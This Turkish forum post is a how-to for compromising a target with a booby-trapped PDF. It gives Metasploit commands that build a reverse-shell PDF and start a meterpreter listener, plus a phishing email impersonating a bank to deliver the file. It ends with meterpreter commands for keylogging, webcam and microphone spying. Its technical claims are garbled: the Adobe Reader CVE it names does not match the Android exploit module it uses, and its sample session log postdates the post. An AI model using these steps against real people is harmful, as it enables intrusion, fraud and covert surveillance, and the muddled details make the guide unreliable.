Hoşgeldin Misafir

Metasploit Kullanarak out-of-bounds Okuma zafiyeti İstismarı

Mustafa73

20 Eyl 2023
423 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Bu zafiyet CVE-2021-40729 olarak tanımlanmıştır ve Adobe Reader DC versiyon 21.007.20095 (ve önceki), 21.007.20096 (ve önceki), 20.004.30015 (ve önceki) ve 17.011.30202 (ve önceki) sürümlerini etkilemektedir. Bu zafiyet, hafızadan hassas bilgileri ifşa etmeye yol açabilecek bir out-of-bounds okuma zafiyetidir. Bir saldırgan, bu zafiyeti ASLR gibi önlemleri atlatmak için kullanabilir.
Bu zafiyeti istismar etmek için aşağıdaki adımları izleyebilirsiniz:

1. Adım: Öncelikle bize reverse shell açacak pdf dosyamızı oluşturalım. Bunun için Metasploit'te exploit/android/fileformat/adobe_reader_pdf_js_interface modülünü kullanabiliriz. Bu modül, android/webview_addjavascriptinterface tarayıcı exploit'ini bir PDF içine gömer ve zafiyetli Reader sürümlerinde komut kabuğu almayı sağlar. Bu modülü kullanmak için şu komutları girebiliriz:
msf > use exploit/android/fileformat/adobe_reader_pdf_js_interface
msf exploit(adobe_reader_pdf_js_interface) > show options
msf exploit(adobe_reader_pdf_js_interface) > set FILENAME shell.pdf
msf exploit(adobe_reader_pdf_js_interface) > set INFILENAME legit.pdf
msf exploit(adobe_reader_pdf_js_interface) > set LHOST <your IP address>
msf exploit(adobe_reader_pdf_js_interface) > exploit
Bu komutlar, legit.pdf adlı meşru bir PDF dosyasını shell.pdf adlı zafiyetli bir PDF dosyasıyla birleştirir. LHOST parametresi, reverse shell bağlantısı için kendi IP adresimizi belirtir.

2. Adım: Oluşturulan shell.pdf dosyasını hedefe ulaştırmak için sosyal mühendislik teknikleri kullanabiliriz. Örneğin, bankadan gönderiliyormuş gibi bir e-posta hazırlayabilir ve PDF dosyasını e-postaya ekleyebiliriz. E-posta içeriği şöyle olabilir:
Subject: Banka hesap özeti
Body: Sayın müşterimiz,
Banka hesabınızın son durumunu görmek için lütfen ekteki PDF dosyasını açınız. Bu dosya, güvenliğiniz için şifreli ve sıkıştırılmıştır. Şifre: 1234
Saygılarımızla,
Banka müşteri hizmetleri

3. Adım: Hedef sistemde e-posta açılmadan önce biz pusumuzu kuruyoruz. Ve ilgili dosyanın açılmasını bekliyoruz. Bunun için Metasploit'te exploit/multi/handler modülünü kullanarak reverse shell bağlantısını dinlemeye başlıyoruz. Bu modül, herhangi bir payload için genel bir handler sağlar. Bu modülü kullanmak için şu komutları girebiliriz:
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD android/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST <your IP address>
msf exploit(handler) > exploit
Bu komutlar, android/meterpreter/reverse_tcp payload'ını kullanarak reverse shell bağlantısını dinler. LHOST parametresi, kendi IP adresimizi belirtir.

4. Adım: Hedef sistemde e-posta açılıp ilgili PDF okunmak istendiğinde bize aşağıdaki gibi meterpreter oturumu düşecektir:
msf exploit(handler) > exploit
[*] Started reverse TCP handler on <your IP address>:4444
[*] Sending stage (70668 bytes) to <target IP address>
[*] Meterpreter session 1 opened (<your IP address>:4444 -> <target IP address>:49160) at 2024-01-26 14:35:12 +0300
meterpreter >
Bu noktadan sonra, meterpreter komutlarını kullanarak hedef sistemi kontrol edebiliriz. Örneğin, hedef sistemin dosya sistemine erişmek için cd, ls, cat, download, upload gibi komutları kullanabiliriz. Hedef sistemin işletim sistemine erişmek için shell komutunu kullanabiliriz. Hedef sistemin kamerasını, mikrofonunu veya klavyesini izlemek için webcam_snap, webcam_stream, record_mic, keyscan_start, keyscan_dump gibi komutları kullanabiliriz. Hedef sistemin ağ trafiğini izlemek için portfwd, route, arp, netstat, ipconfig gibi komutları kullanabiliriz. Hedef sistemin ekranını izlemek için screenshot komutunu kullanabiliriz. Hedef sistemin kullanıcılarını, gruplarını, uygulamalarını veya servislerini listelemek için getuid, getprivs, ps, sysinfo, getpid, get_processes, get_services gibi komutları kullanabiliriz. Hedef sisteme yeni bir payload enjekte etmek için execute, run, upload gibi komutları kullanabiliriz. Hedef sistemden çıkmak için exit komutunu kullanabiliriz.